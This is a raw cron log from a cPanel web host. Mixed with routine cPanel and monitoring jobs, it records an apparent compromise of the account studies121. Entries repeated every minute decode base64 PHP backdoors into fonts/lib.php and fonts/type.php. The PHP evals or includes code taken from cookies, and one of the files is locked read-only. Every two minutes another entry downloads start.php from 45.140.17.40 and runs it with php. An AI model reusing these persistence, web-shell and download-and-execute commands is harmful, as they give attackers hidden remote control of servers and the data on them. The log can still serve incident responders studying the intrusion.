Feb 22 14:54:01 ip-184-168-122-23 CROND[28416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:54:01 ip-184-168-122-23 CROND[28415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:54:01 ip-184-168-122-23 CROND[28417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:54:01 ip-184-168-122-23 CROND[28419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:55:01 ip-184-168-122-23 CROND[28736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:55:01 ip-184-168-122-23 CROND[28737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:55:01 ip-184-168-122-23 CROND[28739]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 14:55:01 ip-184-168-122-23 CROND[28742]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 14:55:01 ip-184-168-122-23 CROND[28743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:55:01 ip-184-168-122-23 CROND[28746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:56:01 ip-184-168-122-23 CROND[29119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:56:01 ip-184-168-122-23 CROND[29124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:56:01 ip-184-168-122-23 CROND[29122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:56:01 ip-184-168-122-23 CROND[29121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:56:02 ip-184-168-122-23 CROND[29125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:57:01 ip-184-168-122-23 CROND[29449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:57:01 ip-184-168-122-23 CROND[29450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:57:01 ip-184-168-122-23 CROND[29451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:57:01 ip-184-168-122-23 CROND[29452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:58:01 ip-184-168-122-23 CROND[29774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:58:01 ip-184-168-122-23 CROND[29776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:58:01 ip-184-168-122-23 CROND[29779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:58:01 ip-184-168-122-23 CROND[29778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:58:01 ip-184-168-122-23 CROND[29777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:59:01 ip-184-168-122-23 CROND[30109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:59:01 ip-184-168-122-23 CROND[30111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:59:01 ip-184-168-122-23 CROND[30112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:59:01 ip-184-168-122-23 CROND[30113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:00:01 ip-184-168-122-23 CROND[30519]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 15:00:01 ip-184-168-122-23 CROND[30522]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 15:00:01 ip-184-168-122-23 CROND[30527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:00:01 ip-184-168-122-23 CROND[30526]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 15:00:01 ip-184-168-122-23 CROND[30528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:00:01 ip-184-168-122-23 CROND[30530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:00:01 ip-184-168-122-23 CROND[30533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:00:01 ip-184-168-122-23 CROND[30531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:01:01 ip-184-168-122-23 CROND[30917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:01:01 ip-184-168-122-23 CROND[30919]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 15:01:01 ip-184-168-122-23 CROND[30922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:01:01 ip-184-168-122-23 CROND[30921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:01:01 ip-184-168-122-23 CROND[30923]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 15:01:01 ip-184-168-122-23 CROND[30924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30919]: starting 0anacron
Feb 22 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30938]: finished 0anacron
Feb 22 15:02:01 ip-184-168-122-23 CROND[31261]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:02:01 ip-184-168-122-23 CROND[31263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:02:01 ip-184-168-122-23 CROND[31264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:02:01 ip-184-168-122-23 CROND[31265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:02:01 ip-184-168-122-23 CROND[31267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:03:01 ip-184-168-122-23 CROND[31617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:03:01 ip-184-168-122-23 CROND[31614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:03:01 ip-184-168-122-23 CROND[31616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:03:01 ip-184-168-122-23 CROND[31615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:04:01 ip-184-168-122-23 CROND[31959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:04:01 ip-184-168-122-23 CROND[31961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:04:01 ip-184-168-122-23 CROND[31965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:04:01 ip-184-168-122-23 CROND[31963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:04:01 ip-184-168-122-23 CROND[31966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:05:01 ip-184-168-122-23 CROND[32318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:05:01 ip-184-168-122-23 CROND[32319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:05:01 ip-184-168-122-23 CROND[32321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:05:01 ip-184-168-122-23 CROND[32324]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 15:05:01 ip-184-168-122-23 CROND[32325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:05:01 ip-184-168-122-23 CROND[32322]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 15:05:01 ip-184-168-122-23 CROND[32323]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 15:06:01 ip-184-168-122-23 CROND[32764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
